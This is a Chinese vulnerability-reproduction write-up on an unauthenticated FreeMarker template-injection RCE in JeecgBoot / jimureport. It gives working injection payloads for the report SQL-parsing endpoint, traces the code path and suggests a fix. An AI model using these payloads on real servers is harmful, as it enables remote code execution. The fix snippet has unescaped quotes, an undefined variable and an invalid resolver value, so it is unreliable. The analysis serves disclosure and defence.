一、影响范围
JeecgBoot @[3.0, 3.5.3]
org.jeecgframework.jimureport:jimureport-spring-boot-starter@(-∞, 1.6.0]
*左右滑动查看更多
二、环境搭建
1.从git导入项目到IDEA。
2.执行maven install安装依赖。
3.修改配置文件中数据库的账密。
4.执行db/jeecgboot-mysql-5.7.sql脚本创建数据库。
5.执行启动类:
jeecg-system-start/src/main/java/org/jeecg/JeecgSystemApplication.java
*左右滑动查看更多
6.克隆并启动项目:
git clone https://gitee.com/jeecg/jeecgboot-vue3.git
cd jeecgboot-vue3
pnpm install
pnpm dev
*左右滑动查看更多
三、漏洞复现
poc
freemarker典型poc:
{"sql":"<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}","dbSource":"","paramArray":"","type":""}
<
value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
#jython的调用需要满足目标类路径中包含org.python的包,本地复现时引入jython-standalone可正常执行命令
<#assign
value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
*左右滑动查看更多
四、漏洞分析
先看调用栈和污点:
该漏洞实质是通过freemarker模板引擎解析了前端传入的参数,导致命令执行。
首先从接口处去分析。接口拿到jsonobject对象取了sql、dbSource、paramArray、type四个键值,请求体参数确定。对于sql参数,后端检查了是否包含sqli敏感字符,由于利用SSTI payload不满足sqli特征,因此该防护此处不生效。
关键调用在634行,599-621行是dbsource的数据源的检查逻辑,var3也就是dbsource为空时,
g.c(var3)
返回空字符串,布尔值是false。
this.jmBaseConfig.getSaas()的结果也是false,不满足任何检查数据源的条件,也就不会导致接口在检查数据源时就响应失败,因此poc构造时dbsource传入空即可。
步入parseReportSql方法,关键调用在627行:
paramArray是上个帧中传入的第三个参数,也就是请求体中的paramArray,这个分支调用的是同一个方法f.a,差别在于是否传入了paramArray(poc传入的空,因此先步入这个方法分析),请求体中type参数在627行之后的逻辑中使用,不在触发ssti的调用链中,因此构造空值即可。
253行和254行方法调用的主要目的均是sqli检查,受变量paramArray(此处是var2)影响的是255行的方法调用,步入后影响的逻辑大致和sql的参数构造有关(为空时这段逻辑则不执行),因此可以确定请求体paramArray的值传入空即可。步入这个方法,关键调用在949行:
var0(下图)也就是传入的sql参数,将原封不动的传递到freemarker的解析工具类中的解析方法中,最后在76行命中污点。
检查该接口的授权配置:鉴权使用的是shiro框架,其中,anon设定的过滤器是org.apache.shiro.web.filter.authc.AnonymousFilter,该过滤器不做任何授权安全检查,因此该接口可未授权访问。
org.apache.shiro.web.filter.authc.AnonymousFilter网址:
https://shiro.apache.org/static/1.12.0/apidocs/org/apache/shiro/web/filter/authc/AnonymousFilter.html
五、freemarker poc说明
<#assign
value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
*左右滑动查看更多
new是freemarker的内置函数,在 ? 的左边我们可以指定一个字符串,是 TemplateModel 实现类的完全限定名。结果是调用构造方法生成一个方法变量,然后将新变量返回。
指令assign用于创建变量,poc中value则是变量名(所以任意符合变量命名要求的字符串都可以),使用插值语法(即${...})使用定义的变量,因此,value的值是一个方法变量。
那么调用这个方法传入的参数实际传入的是实现类的exec方法,可以看到这个方法接收多参数,第一个是指定类,之后是指定类的构造方法的参数,返回一个指定类的实例化bean包装,再通过链式调用start方法执行由恶意命令初始化的ProcessBuilder实例。
<
value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
*左右滑动查看更多
该内置类则直接使用传入的第一个参数调用Runtime.getRuntime().exec()。
六、安全修复建议
try {
String poc = "<#assign foo="freemarker.template.utility.ObjectConstructor"?new()>${foo("java.lang.ProcessBuilder","calc.exe").start()}";
Map<String, Object> map = new HashMap<>();
Configuration configuration = new Configuration(Configuration.VERSION_2_3_19);
// configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
configuration.setSetting("new_builtin_class_resolver", "allowsafe");
StringWriter stringWriter = new StringWriter();
new Template("template", new StringReader(str), configuration).process(map, stringWriter);
}catch (Exception e){
System.err.println(e);
}
*左右滑动查看更多
参考文档及推荐阅读:
jeecgboot前后端项目启动官方文档参考:
https://help.jeecg.com/java/setup/idea.html
shiro过滤器配置参考:
https://shiro.apache.org/web.html#Default%20Filters
freemarker模板语法参考:
https://freemarker.apache.org/docs/ref_builtins_expert.html
*左右滑动查看更多
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| jeecgboot SSTI(RCE)漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论